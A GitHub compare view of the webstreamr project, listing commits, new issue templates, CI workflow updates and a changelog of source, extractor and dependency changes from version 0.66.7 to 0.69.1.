Compare commits
360 commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
720c9bb651 | ||
|
|
f05cf5040c | ||
|
|
65191cfc8d | ||
|
|
bd2dec0392 | ||
|
|
5f9fbbb30d | ||
|
|
43f04455f1 | ||
|
|
43637a2ff4 | ||
|
|
b87bf62362 | ||
|
|
89e57d48d9 | ||
|
|
ad47aecea3 | ||
|
|
f192fd0b75 | ||
|
|
557efd2079 | ||
|
|
373c6c1d4c | ||
|
|
4c7da5dc20 | ||
|
|
bed5b00300 | ||
|
|
e36d460d57 | ||
|
|
5cffa112ba | ||
|
|
66ae60ca44 | ||
|
|
b60496bf22 | ||
|
|
ff39c59475 | ||
|
|
b6b67568b5 | ||
|
|
eecf9c42c5 | ||
|
|
fc3d61b05a | ||
|
|
b2b9760445 | ||
|
|
7afff18629 | ||
|
|
ee3effaf00 | ||
|
|
296f0478b0 | ||
|
|
693a77e73e | ||
|
|
b769cd0aa1 | ||
|
|
9eca05efc5 | ||
|
|
ca0110cdbc | ||
|
|
66ee72baf0 | ||
|
|
3c08d69bc3 | ||
|
|
0f004dc878 | ||
|
|
b7093ed4ae | ||
|
|
20289eaeaf | ||
|
|
3b16fe0390 | ||
|
|
c78c1ad628 | ||
|
|
8fe4cc5a9b | ||
|
|
930e8191be | ||
|
|
2734fb4d0d | ||
|
|
b5223148c7 | ||
|
|
ad3d0b317e | ||
|
|
e90b5583a7 | ||
|
|
394dc91bfa | ||
|
|
7de046838d | ||
|
|
955872a825 | ||
|
|
d17780f0a7 | ||
|
|
737a8063a8 | ||
|
|
423abf2479 | ||
|
|
4e436509bf | ||
|
|
f58e0e1f4f | ||
|
|
d2e72b0756 | ||
|
|
edebd860aa | ||
|
|
6b8363bd9c | ||
|
|
d0c40ffa00 | ||
|
|
b36e1484eb | ||
|
|
a5e429fea3 | ||
|
|
6d5870ccb2 | ||
|
|
6cc82520a0 | ||
|
|
7dfc599de9 | ||
|
|
aa820e1f64 | ||
|
|
38d0ac5305 | ||
|
|
438387faee | ||
|
|
5a1786d3e5 | ||
|
|
bbb80f3cf0 | ||
|
|
8ea6d4fe37 | ||
|
|
282b3d05b3 | ||
|
|
168d0280dc | ||
|
|
50e024a3ea | ||
|
|
e1d582036a | ||
|
|
354c2731d8 | ||
|
|
ce4637ea80 | ||
|
|
73ce5f372d | ||
|
|
221fa989f4 | ||
|
|
a4dfad6235 | ||
|
|
ae10810caa | ||
|
|
964e979469 | ||
|
|
556b20e669 | ||
|
|
6c102362fd | ||
|
|
49faa5d116 | ||
|
|
cf8fb4cfa4 | ||
|
|
3bb7a800e3 | ||
|
|
26b6143152 | ||
|
|
728ed7ec06 | ||
|
|
5bfbd94e51 | ||
|
|
23db19d073 | ||
|
|
bd160eb32c | ||
|
|
fb354b4746 | ||
|
|
245dcf6007 | ||
|
|
94f5c7438d | ||
|
|
d0f3e0f931 | ||
|
|
524630d671 | ||
|
|
65a0e57ab9 | ||
|
|
eccea520b7 | ||
|
|
7ec9c5b147 | ||
|
|
1ae12fa0f7 | ||
|
|
ccdd4600bb | ||
|
|
3f35ecf6f3 | ||
|
|
de13209709 | ||
|
|
34500ea3fc | ||
|
|
72c191fbc1 | ||
|
|
8c2897a0b1 | ||
|
|
31da8aa92c | ||
|
|
92c45d553e | ||
|
|
ae5829dcb0 | ||
|
|
3f5a82d663 | ||
|
|
2612860f15 | ||
|
|
e6adf6549a | ||
|
|
c23ffa382d | ||
|
|
1f4d81bfc9 | ||
|
|
455d84d5b1 | ||
|
|
72c19e7f59 | ||
|
|
e52cee2125 | ||
|
|
5c87c5d9e2 | ||
|
|
8f8ecb868e | ||
|
|
a876c9b144 | ||
|
|
2ba6e4fa35 | ||
|
|
50a7e5559b | ||
|
|
db860c25c6 | ||
|
|
074311107a | ||
|
|
19a73b3866 | ||
|
|
75c9509793 | ||
|
|
bc98d64969 | ||
|
|
a90d7b1cad | ||
|
|
43e16f5bfa | ||
|
|
622b1b3bcc | ||
|
|
12ea135feb | ||
|
|
e5197fdb8b | ||
|
|
a5539bcf59 | ||
|
|
d3db3fc512 | ||
|
|
9945ed4615 | ||
|
|
28a83e2f29 | ||
|
|
93fe1ae871 | ||
|
|
1ddc8d99d6 | ||
|
|
3c979e77cc | ||
|
|
a00fa2c3d6 | ||
|
|
7c886583c9 | ||
|
|
92a4ed5578 | ||
|
|
e8ed29eb9d | ||
|
|
ef2cc7f16b | ||
|
|
646e75d5f8 | ||
|
|
d259587491 | ||
|
|
7c99e4d1c1 | ||
|
|
aeb15d8640 | ||
|
|
771d664e5a | ||
|
|
7b708e2385 | ||
|
|
a9c281c8c4 | ||
|
|
8aa1344fa5 | ||
|
|
5fd62028ce | ||
|
|
5b49dd0735 | ||
|
|
7bb38fda3e | ||
|
|
507b96014c | ||
|
|
986db2cc67 | ||
|
|
546dee9799 | ||
|
|
4cfbf731b8 | ||
|
|
231a12f685 | ||
|
|
e54b54bfb3 | ||
|
|
58966ccff1 | ||
|
|
59c84952ed | ||
|
|
90c56debfe | ||
|
|
9cf9c4498c | ||
|
|
31ca9597e5 | ||
|
|
17e70c169b | ||
|
|
79c8e7fc32 | ||
|
|
26278aadba | ||
|
|
5ef6119294 | ||
|
|
96c4b1f16b | ||
|
|
4cf08fc6d5 | ||
|
|
bad1170421 | ||
|
|
7593d3d62e | ||
|
|
ce11a80ba9 | ||
|
|
5103be82a4 | ||
|
|
9ee91dff31 | ||
|
|
381fb89cfb | ||
|
|
9354c0ee9b | ||
|
|
51aa127a33 | ||
|
|
9d6d138fff | ||
|
|
a189cddd37 | ||
|
|
f7cf9da686 | ||
|
|
d00cc8a94a | ||
|
|
20ce2ac831 | ||
|
|
c6a6a70eaf | ||
|
|
9e256186aa | ||
|
|
f047287fe9 | ||
|
|
816123ab83 | ||
|
|
815d3b6b1e | ||
|
|
05b80a2d63 | ||
|
|
de79dc014f | ||
|
|
1a99a9e99b | ||
|
|
f49769f3c4 | ||
|
|
77cf6767b1 | ||
|
|
d1fcd671c9 | ||
|
|
5cb4944413 | ||
|
|
559ee6ed4e | ||
|
|
cc1e96f3cf | ||
|
|
b273e3a71d | ||
|
|
66fb0e2e6d | ||
|
|
baf5c9143d | ||
|
|
28a8a1554d | ||
|
|
515ca0a98c | ||
|
|
dcad7db29c | ||
|
|
4bec9e556f | ||
|
|
da7397fe75 | ||
|
|
86eb3d498c | ||
|
|
ca8caa7795 | ||
|
|
f6f71b043b | ||
|
|
281fe00a35 | ||
|
|
e5d68c5214 | ||
|
|
04f3fc42e0 | ||
|
|
ed50cb2f6a | ||
|
|
e1e8f37862 | ||
|
|
7146c6cf11 | ||
|
|
41bc53b9da | ||
|
|
bfe8c36e87 | ||
|
|
430e5b7fce | ||
|
|
8d1991ed84 | ||
|
|
c075fe9481 | ||
|
|
7e4891a93f | ||
|
|
f8f62db174 | ||
|
|
93a098e438 | ||
|
|
1f4d7c752d | ||
|
|
9b3c7c76cf | ||
|
|
ac4cc8a346 | ||
|
|
e7b1e2a4fc | ||
|
|
f8b63f4cce | ||
|
|
30c60261af | ||
|
|
9079feebbd | ||
|
|
a7d93590c6 | ||
|
|
d20c568e85 | ||
|
|
c8e38d73ff | ||
|
|
135d90a233 | ||
|
|
9f5ac02ec6 | ||
|
|
6f24b7928d | ||
|
|
b5fc29f150 | ||
|
|
6cc24c0332 | ||
|
|
924265b964 | ||
|
|
7264fd2ed4 | ||
|
|
0610b8556a | ||
|
|
9fd563450e | ||
|
|
ddf4f227b3 | ||
|
|
36a15f0091 | ||
|
|
58bd6250c9 | ||
|
|
10081a2276 | ||
|
|
fa6bee4c83 | ||
|
|
40f9f9ec8c | ||
|
|
01649955b1 | ||
|
|
5d412b759f | ||
|
|
4f7a9d725e | ||
|
|
e3ea65d7f4 | ||
|
|
d71aa240e7 | ||
|
|
e438f3cbbd | ||
|
|
d44e0a2588 | ||
|
|
258e35c94d | ||
|
|
d607b7fb6b | ||
|
|
42b9cbe38f | ||
|
|
d7edb51698 | ||
|
|
1bd85fb4ad | ||
|
|
580845ae77 | ||
|
|
32b49d49a9 | ||
|
|
5ff8a49be5 | ||
|
|
3955820eb9 | ||
|
|
609bd23cd8 | ||
|
|
0f7bc7c07f | ||
|
|
cf0be4712e | ||
|
|
50c5d3a1cd | ||
|
|
8dae887eca | ||
|
|
3be37008b7 | ||
|
|
ae00c43106 | ||
|
|
d7392c09d2 | ||
|
|
f549a32dd2 | ||
|
|
e092d7247d | ||
|
|
d3dbedf18a | ||
|
|
90ab3d0a31 | ||
|
|
cba3c8bbae | ||
|
|
4a14ad7fb0 | ||
|
|
5c04104ad2 | ||
|
|
ef2b6721c7 | ||
|
|
d7e82ceff3 | ||
|
|
973eb06584 | ||
|
|
825d97adc4 | ||
|
|
8835219c26 | ||
|
|
1dd9d324e6 | ||
|
|
afbc16a3ec | ||
|
|
98b9d5a81d | ||
|
|
6f6a3ae2fd | ||
|
|
5300e6c6e7 | ||
|
|
9f7155f42e | ||
|
|
362bef9f57 | ||
|
|
4cd1e09466 | ||
|
|
1765311586 | ||
|
|
68cfa65135 | ||
|
|
b7930014ab | ||
|
|
67d0508fd7 | ||
|
|
280abc4dea | ||
|
|
e1c727b7de | ||
|
|
d07d31d94a | ||
|
|
09f795b862 | ||
|
|
f5f47403cc | ||
|
|
31e46c5c56 | ||
|
|
219cb4b5f6 | ||
|
|
683e26e32a | ||
|
|
9bec5b5f3b | ||
|
|
4815054fed | ||
|
|
c50e095781 | ||
|
|
b4ba098158 | ||
|
|
836021c57e | ||
|
|
0a85b0dc1e | ||
|
|
3b78186702 | ||
|
|
dbbf310661 | ||
|
|
7eb760b5d6 | ||
|
|
e2268a325a | ||
|
|
3f0c661dae | ||
|
|
7dca36fa83 | ||
|
|
159be1cac4 | ||
|
|
e478a45bc0 | ||
|
|
d80ca63dad | ||
|
|
57bc4640e5 | ||
|
|
33dbeb9776 | ||
|
|
3c398d4a1d | ||
|
|
943f4c3453 | ||
|
|
8e1ea10c5a | ||
|
|
a7bc742035 | ||
|
|
82b810ed36 | ||
|
|
6eceaf474d | ||
|
|
88a1fe10a1 | ||
|
|
240504816c | ||
|
|
053dce0729 | ||
|
|
a36d152b61 | ||
|
|
e5a5c62106 | ||
|
|
db25f98251 | ||
|
|
ad7c9cc545 | ||
|
|
331e5bd5d1 | ||
|
|
c4bf32f991 | ||
|
|
20c43a3ea1 | ||
|
|
172edaf0fc | ||
|
|
4bc5e42e50 | ||
|
|
88b6a5ef45 | ||
|
|
5078609c86 | ||
|
|
e6ef4b870a | ||
|
|
68dcab39fb | ||
|
|
79c16d530d | ||
|
|
365c2de4e5 | ||
|
|
7cabb4d4ab | ||
|
|
73476779ae | ||
|
|
bd1e184023 | ||
|
|
cc7b0be150 | ||
|
|
e2eaa9143b | ||
|
|
23da8dc637 | ||
|
|
6203863523 | ||
|
|
e6d8d5076c | ||
|
|
cc3d30be2f | ||
|
|
77164dfaa7 | ||
|
|
56e72b73fe | ||
|
|
c8b6cf2732 | ||
|
|
a9b81d00c0 | ||
|
|
03bb9fea79 | ||
|
|
bb733fca96 | ||
|
|
ae7b784783 | ||
|
|
d59658fb7b |
486 changed files with 79316 additions and 14690 deletions
38
.github/ISSUE_TEMPLATE/bug_report.md
vendored
Normal file
38
.github/ISSUE_TEMPLATE/bug_report.md
vendored
Normal file
|
|
@ -0,0 +1,38 @@
|
|||
---
|
||||
name: Bug report
|
||||
about: Create a report to help us improve
|
||||
title: ''
|
||||
labels: bug
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
**Describe the bug**
|
||||
A clear and concise description of what the bug is.
|
||||
|
||||
**To Reproduce**
|
||||
Steps to reproduce the behavior:
|
||||
1. Go to '...'
|
||||
2. Click on '....'
|
||||
3. Scroll down to '....'
|
||||
4. See error
|
||||
|
||||
**Expected behavior**
|
||||
A clear and concise description of what you expected to happen.
|
||||
|
||||
**Screenshots**
|
||||
If applicable, add screenshots to help explain your problem.
|
||||
|
||||
**Desktop (please complete the following information):**
|
||||
- OS: [e.g. iOS]
|
||||
- Browser [e.g. chrome, safari]
|
||||
- Version [e.g. 22]
|
||||
|
||||
**Smartphone (please complete the following information):**
|
||||
- Device: [e.g. iPhone6]
|
||||
- OS: [e.g. iOS8.1]
|
||||
- Browser [e.g. stock browser, safari]
|
||||
- Version [e.g. 22]
|
||||
|
||||
**Additional context**
|
||||
Add any other context about the problem here.
|
||||
20
.github/ISSUE_TEMPLATE/feature_request.md
vendored
Normal file
20
.github/ISSUE_TEMPLATE/feature_request.md
vendored
Normal file
|
|
@ -0,0 +1,20 @@
|
|||
---
|
||||
name: Feature request
|
||||
about: Suggest an idea for this project
|
||||
title: ''
|
||||
labels: enhancement
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
**Is your feature request related to a problem? Please describe.**
|
||||
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
|
||||
|
||||
**Describe the solution you'd like**
|
||||
A clear and concise description of what you want to happen.
|
||||
|
||||
**Describe alternatives you've considered**
|
||||
A clear and concise description of any alternative solutions or features you've considered.
|
||||
|
||||
**Additional context**
|
||||
Add any other context or screenshots about the feature request here.
|
||||
23
.github/ISSUE_TEMPLATE/request-source-extractor.md
vendored
Normal file
23
.github/ISSUE_TEMPLATE/request-source-extractor.md
vendored
Normal file
|
|
@ -0,0 +1,23 @@
|
|||
---
|
||||
name: Request source/extractor
|
||||
about: Request a source or extractor to get URLs from
|
||||
title: Request to add <source/extractor>
|
||||
labels: enhancement
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
**What is the site you want to get added?**
|
||||
A link to the source or embed hoster
|
||||
|
||||
**What is the benefit of adding this?**
|
||||
More content is not a good reason. If it's already covered via an existing source/extractor, why should we add another one?
|
||||
|
||||
**Are you aware of any protection the site uses?**
|
||||
E.g. rate-limits or Cloudflare captchas and such
|
||||
|
||||
**What languages does this relate to?**
|
||||
E.g. multi, German, ..
|
||||
|
||||
**Example**
|
||||
A movie/series IMDb/TMDB ID + source link or embed URL to test with.
|
||||
10
.github/workflows/build-tag.yml
vendored
10
.github/workflows/build-tag.yml
vendored
|
|
@ -9,16 +9,20 @@ jobs:
|
|||
steps:
|
||||
-
|
||||
name: Login to Docker Hub
|
||||
uses: docker/login-action@v3
|
||||
uses: docker/login-action@v4
|
||||
with:
|
||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
-
|
||||
name: Set up QEMU (for cross-arch)
|
||||
uses: docker/setup-qemu-action@v4
|
||||
-
|
||||
name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
uses: docker/setup-buildx-action@v4
|
||||
-
|
||||
name: Build and push
|
||||
uses: docker/build-push-action@v6
|
||||
uses: docker/build-push-action@v7
|
||||
with:
|
||||
push: true
|
||||
platforms: linux/amd64,linux/arm64
|
||||
tags: webstreamr/webstreamr:latest
|
||||
|
|
|
|||
9
.github/workflows/build.yml
vendored
9
.github/workflows/build.yml
vendored
|
|
@ -1,15 +1,18 @@
|
|||
name: Build
|
||||
on: push
|
||||
on:
|
||||
push:
|
||||
pull_request:
|
||||
workflow_dispatch:
|
||||
jobs:
|
||||
docker:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
-
|
||||
name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
uses: docker/setup-buildx-action@v4
|
||||
-
|
||||
name: Build and push
|
||||
uses: docker/build-push-action@v6
|
||||
uses: docker/build-push-action@v7
|
||||
with:
|
||||
push: false
|
||||
tags: webstreamr/webstreamr:latest
|
||||
|
|
|
|||
9
.github/workflows/tests.yml
vendored
9
.github/workflows/tests.yml
vendored
|
|
@ -1,14 +1,17 @@
|
|||
name: Tests
|
||||
on: push
|
||||
on:
|
||||
push:
|
||||
pull_request:
|
||||
workflow_dispatch:
|
||||
jobs:
|
||||
test:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v5
|
||||
- uses: actions/checkout@v6
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v6
|
||||
with:
|
||||
node-version: "22"
|
||||
node-version: "24"
|
||||
|
||||
- name: Install Dependencies
|
||||
run: npm install
|
||||
|
|
|
|||
|
|
@ -1,3 +1,3 @@
|
|||
{
|
||||
".": "0.56.3"
|
||||
".": "0.69.1"
|
||||
}
|
||||
|
|
|
|||
894
CHANGELOG.md
894
CHANGELOG.md
|
|
@ -1,5 +1,899 @@
|
|||
# Changelog
|
||||
|
||||
## [0.69.1](https://github.com/webstreamr/webstreamr/compare/v0.69.0...v0.69.1) (2026-03-27)
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **source:** exclude ad videos in HDHub4u ([65191cf](https://github.com/webstreamr/webstreamr/commit/65191cfc8dad8f58b44e2c355b9adc600b99b2bf))
|
||||
* **source:** remove stray console.log ([bd2dec0](https://github.com/webstreamr/webstreamr/commit/bd2dec03925d8b7760044dbfaaaec00b48f7cb66))
|
||||
|
||||
## [0.69.0](https://github.com/webstreamr/webstreamr/compare/v0.68.0...v0.69.0) (2026-03-27)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **deps:** update dependency axios to v1.14.0 ([#800](https://github.com/webstreamr/webstreamr/issues/800)) ([ad47aec](https://github.com/webstreamr/webstreamr/commit/ad47aecea3f3d34700add442e023bd54f73451c8))
|
||||
* **extractor:** detect languages from HubCloud title ([89e57d4](https://github.com/webstreamr/webstreamr/commit/89e57d48d95a6f8dd6446048ae72de51dd481f37))
|
||||
* **extractor:** detect resolution from HubCloud title ([f192fd0](https://github.com/webstreamr/webstreamr/commit/f192fd0b7523094746148989e0cf06717db8152e))
|
||||
* remove duplicate URLs ([b87bf62](https://github.com/webstreamr/webstreamr/commit/b87bf62362f3cd6b3ea055ecdaec44511bf2ec84))
|
||||
|
||||
|
||||
### Features
|
||||
|
||||
* **source:** add HDHub4u ([43f0445](https://github.com/webstreamr/webstreamr/commit/43f04455f17063e459df7e7a34af44de36afd6fc))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **extractor:** don't fail for HubDrive if HubCloud link is missing ([557efd2](https://github.com/webstreamr/webstreamr/commit/557efd207945ea7ada0bcaf475b0b9b9d60d8f5b))
|
||||
|
||||
|
||||
### Code Refactoring
|
||||
|
||||
* **source:** extract hd hub link redirect resolver ([43637a2](https://github.com/webstreamr/webstreamr/commit/43637a2ff4280db208ec9c94c0a5d52a49dc6672))
|
||||
|
||||
## [0.68.0](https://github.com/webstreamr/webstreamr/compare/v0.67.0...v0.68.0) (2026-03-26)
|
||||
|
||||
|
||||
### Features
|
||||
|
||||
* exclude resolution config options ([4c7da5d](https://github.com/webstreamr/webstreamr/commit/4c7da5dc208a1854a17aa43a26553fb6c83e7287))
|
||||
|
||||
## [0.67.0](https://github.com/webstreamr/webstreamr/compare/v0.66.16...v0.67.0) (2026-03-25)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **deps:** update dependency typescript-eslint to v8.57.2 ([#795](https://github.com/webstreamr/webstreamr/issues/795)) ([5cffa11](https://github.com/webstreamr/webstreamr/commit/5cffa112bac29ee4eb18958f5345f0a3ae68ff30))
|
||||
|
||||
|
||||
### Features
|
||||
|
||||
* **extractor:** support FSLv2 server in HubCloud ([e36d460](https://github.com/webstreamr/webstreamr/commit/e36d460d57bdc071fc111b1459ea26184a3233e3))
|
||||
|
||||
## [0.66.16](https://github.com/webstreamr/webstreamr/compare/v0.66.15...v0.66.16) (2026-03-23)
|
||||
|
||||
|
||||
### Documentation
|
||||
|
||||
* remove mention of XDMovies ([b60496b](https://github.com/webstreamr/webstreamr/commit/b60496bf224f1869626bceaa7e3eebabfdec8754))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **source:** remove XDMovies ([ff39c59](https://github.com/webstreamr/webstreamr/commit/ff39c594755b586ec4214d942c04026b873854fd))
|
||||
|
||||
## [0.66.15](https://github.com/webstreamr/webstreamr/compare/v0.66.14...v0.66.15) (2026-03-23)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **deps:** lock file maintenance ([#792](https://github.com/webstreamr/webstreamr/issues/792)) ([fc3d61b](https://github.com/webstreamr/webstreamr/commit/fc3d61b05a31c00607c7309ed04c8438c8f344f7))
|
||||
* **deps:** update dependency cacheable to v2.3.4 ([#789](https://github.com/webstreamr/webstreamr/issues/789)) ([b2b9760](https://github.com/webstreamr/webstreamr/commit/b2b9760445f7b1a987f5aa795ef3a5302e753178))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **extractor:** hard-code referer for Dropload and SuperVideo for now ([eecf9c4](https://github.com/webstreamr/webstreamr/commit/eecf9c42c5f95266fe1ec0deba1042741efe7306))
|
||||
|
||||
## [0.66.14](https://github.com/webstreamr/webstreamr/compare/v0.66.13...v0.66.14) (2026-03-17)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **deps:** lock file maintenance ([#784](https://github.com/webstreamr/webstreamr/issues/784)) ([9eca05e](https://github.com/webstreamr/webstreamr/commit/9eca05efc5c56dc0c008b6cac6314c2849e11382))
|
||||
* **deps:** update dependency typescript-eslint to v8.57.1 ([#786](https://github.com/webstreamr/webstreamr/issues/786)) ([b769cd0](https://github.com/webstreamr/webstreamr/commit/b769cd0aa1f8284c921f68c620fa01565097952b))
|
||||
* **extractor:** add cacheVersion and bump it for HubCloud and HubDrive ([ee3effa](https://github.com/webstreamr/webstreamr/commit/ee3effaf0079ee932d6b8a93ead0f095ea7e4906))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **extractor:** add PixelDrain referer to HubCloud extractor ([693a77e](https://github.com/webstreamr/webstreamr/commit/693a77e73e984e81aee9a702092c5ef098d4e48f))
|
||||
* **extractor:** reduce HubCloud + HubDrive ttl to 12h ([296f047](https://github.com/webstreamr/webstreamr/commit/296f0478b03c4dfd4927c0e53037ce8f9de64872))
|
||||
|
||||
## [0.66.13](https://github.com/webstreamr/webstreamr/compare/v0.66.12...v0.66.13) (2026-03-14)
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* downgrade sqlite for now ([66ee72b](https://github.com/webstreamr/webstreamr/commit/66ee72baf02560ca4bed0864869ab8046e85d0eb))
|
||||
|
||||
## [0.66.12](https://github.com/webstreamr/webstreamr/compare/v0.66.11...v0.66.12) (2026-03-14)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **deps:** lock file maintenance ([#779](https://github.com/webstreamr/webstreamr/issues/779)) ([b7093ed](https://github.com/webstreamr/webstreamr/commit/b7093ed4ae37cc4e4a2603bd6c8dac0118f8e617))
|
||||
* **deps:** update dependency slugify to v1.6.8 ([#777](https://github.com/webstreamr/webstreamr/issues/777)) ([20289ea](https://github.com/webstreamr/webstreamr/commit/20289eaeaf8710c4cfb60d661061c62a3cfa4aeb))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* require sqlite with alpine fix ([0f004dc](https://github.com/webstreamr/webstreamr/commit/0f004dc878c1c1a24cae553100426c61d45841a9))
|
||||
|
||||
## [0.66.11](https://github.com/webstreamr/webstreamr/compare/v0.66.10...v0.66.11) (2026-03-13)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **deps:** lock file maintenance ([#764](https://github.com/webstreamr/webstreamr/issues/764)) ([394dc91](https://github.com/webstreamr/webstreamr/commit/394dc91bfa0a2382ad7d084f02a2f99b7eb91ca5))
|
||||
* **deps:** update dependency @types/node to v24.12.0 ([#763](https://github.com/webstreamr/webstreamr/issues/763)) ([7de0468](https://github.com/webstreamr/webstreamr/commit/7de046838d8c851caf7ec164c441b77907705c89))
|
||||
* **deps:** update dependency express-rate-limit to v8.3.1 ([#765](https://github.com/webstreamr/webstreamr/issues/765)) ([e90b558](https://github.com/webstreamr/webstreamr/commit/e90b5583a7c2d005e53b60f8152eb4e37dd6591b))
|
||||
* **deps:** update dependency tough-cookie to v6.0.1 ([#773](https://github.com/webstreamr/webstreamr/issues/773)) ([2734fb4](https://github.com/webstreamr/webstreamr/commit/2734fb4d0db6c658022ba1d6a89b90c7194d84b9))
|
||||
* **deps:** update dependency typescript-eslint to v8.57.0 ([#766](https://github.com/webstreamr/webstreamr/issues/766)) ([ad3d0b3](https://github.com/webstreamr/webstreamr/commit/ad3d0b317e476621bef309b95fd683bd0b47fa38))
|
||||
* **deps:** update eslint monorepo to v9.39.4 ([#761](https://github.com/webstreamr/webstreamr/issues/761)) ([955872a](https://github.com/webstreamr/webstreamr/commit/955872a8254e1ab93e298df720ae1e618d2fd3bc))
|
||||
* **deps:** update jest monorepo to v30.3.0 ([#767](https://github.com/webstreamr/webstreamr/issues/767)) ([b522314](https://github.com/webstreamr/webstreamr/commit/b5223148c7ed336136c4182aaaa59f031ea6dc2a))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **deps:** update dependency sqlite3 to v6 ([#772](https://github.com/webstreamr/webstreamr/issues/772)) ([930e819](https://github.com/webstreamr/webstreamr/commit/930e8191beac055e8b82ee9a79bd78f56b2613a2))
|
||||
* **extractor:** add missing VOE domain ([c78c1ad](https://github.com/webstreamr/webstreamr/commit/c78c1ad628c81391bdead00273e3a346983b1f45))
|
||||
* **source:** switch to new Frembed URL and resolve link redirects ([8fe4cc5](https://github.com/webstreamr/webstreamr/commit/8fe4cc5a9bf37612647ed348cf76702fdbf6857e))
|
||||
|
||||
## [0.66.10](https://github.com/webstreamr/webstreamr/compare/v0.66.9...v0.66.10) (2026-03-06)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **deps:** update dependency @stylistic/eslint-plugin to v5.10.0 ([#760](https://github.com/webstreamr/webstreamr/issues/760)) ([4e43650](https://github.com/webstreamr/webstreamr/commit/4e436509bf8b6bed5d1d879756f7cccba28b0d6a))
|
||||
* **deps:** update dependency axios-cache-interceptor to v1.12.0 ([#755](https://github.com/webstreamr/webstreamr/issues/755)) ([edebd86](https://github.com/webstreamr/webstreamr/commit/edebd860aa3c4c01b6444c0296e21279ea3231ff))
|
||||
* **deps:** update dependency express-rate-limit to v8.3.0 ([#758](https://github.com/webstreamr/webstreamr/issues/758)) ([f58e0e1](https://github.com/webstreamr/webstreamr/commit/f58e0e1f4f6c4db1e4efbeba6278a5358d1f6a56))
|
||||
* **deps:** update docker/build-push-action action to v7 ([#759](https://github.com/webstreamr/webstreamr/issues/759)) ([737a806](https://github.com/webstreamr/webstreamr/commit/737a8063a8921a8fd0247e2cb3c053030b018294))
|
||||
* **deps:** update docker/login-action action to v4 ([#750](https://github.com/webstreamr/webstreamr/issues/750)) ([6b8363b](https://github.com/webstreamr/webstreamr/commit/6b8363bd9c970b8760a1412a66086b120422567f))
|
||||
* **deps:** update docker/setup-buildx-action action to v4 ([#757](https://github.com/webstreamr/webstreamr/issues/757)) ([d2e72b0](https://github.com/webstreamr/webstreamr/commit/d2e72b0756e8a86d64e6c70e168b689429d4b3d7))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **extractor:** use Dropload hosting URL origin as Referer ([423abf2](https://github.com/webstreamr/webstreamr/commit/423abf2479b7dffde3138c6043eb1f2854e4b077))
|
||||
|
||||
## [0.66.9](https://github.com/webstreamr/webstreamr/compare/v0.66.8...v0.66.9) (2026-03-04)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* add referral ([a5e429f](https://github.com/webstreamr/webstreamr/commit/a5e429fea365ee04a3bd32f07676a852511be852))
|
||||
* **deps:** update docker/setup-qemu-action action to v4 ([#749](https://github.com/webstreamr/webstreamr/issues/749)) ([b36e148](https://github.com/webstreamr/webstreamr/commit/b36e1484eb51b7d86352c6f78f2f4c21adba28d0))
|
||||
|
||||
|
||||
### Documentation
|
||||
|
||||
* use default branch for tests badge ([6d5870c](https://github.com/webstreamr/webstreamr/commit/6d5870ccb219bcb6448aac732914d02f59b8b602))
|
||||
|
||||
## [0.66.8](https://github.com/webstreamr/webstreamr/compare/v0.66.7...v0.66.8) (2026-03-02)
|
||||
|
||||
|
||||
### Documentation
|
||||
|
||||
* add known issues / limitations section ([438387f](https://github.com/webstreamr/webstreamr/commit/438387faee8fb8604f4de7c1a7876be40d79fa79))
|
||||
* add more limitations ([aa820e1](https://github.com/webstreamr/webstreamr/commit/aa820e1f6463d216ad12c44587b7134f424e1c9a))
|
||||
* add more references ([38d0ac5](https://github.com/webstreamr/webstreamr/commit/38d0ac53059ed338718a759c76c425a2458fa5c2))
|
||||
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* **extractor:** use Dropload playlist headers also internally ([7dfc599](https://github.com/webstreamr/webstreamr/commit/7dfc599de900c34703e41eeea5c4e459da6380cf))
|
||||
|
||||
## [0.66.7](https://github.com/webstreamr/webstreamr/compare/v0.66.6...v0.66.7) (2026-03-02)
|
||||
|
||||
|
||||
### Miscellaneous Chores
|
||||
|
||||
* **deps:** lock file maintenance ([#745](https://github.com/webstreamr/webstreamr/issues/745)) ([8ea6d4f](https://github.com/webstreamr/webstreamr/commit/8ea6d4fe3709067c1a2c30dcbf53567e10f102dc))
|
||||
* **deps:** update dependency @types/node to v24.11.0 ([#744](https://github.com/webstreamr/webstreamr/issues/744)) ([282b3d0](https://github.com/webstreamr/webstreamr/commit/282b3d05b32bbcc6e2ac2137e3cb96974ee4ddfb))
|
||||
* **deps:** update dependency axios to v1.13.6 ([#736](https://github.com/webstreamr/webstreamr/issues/736)) ([50e024a](https://github.com/webstreamr/webstreamr/commit/50e024a3ea1b2326fad7f2fcb59324d34a8561a2))
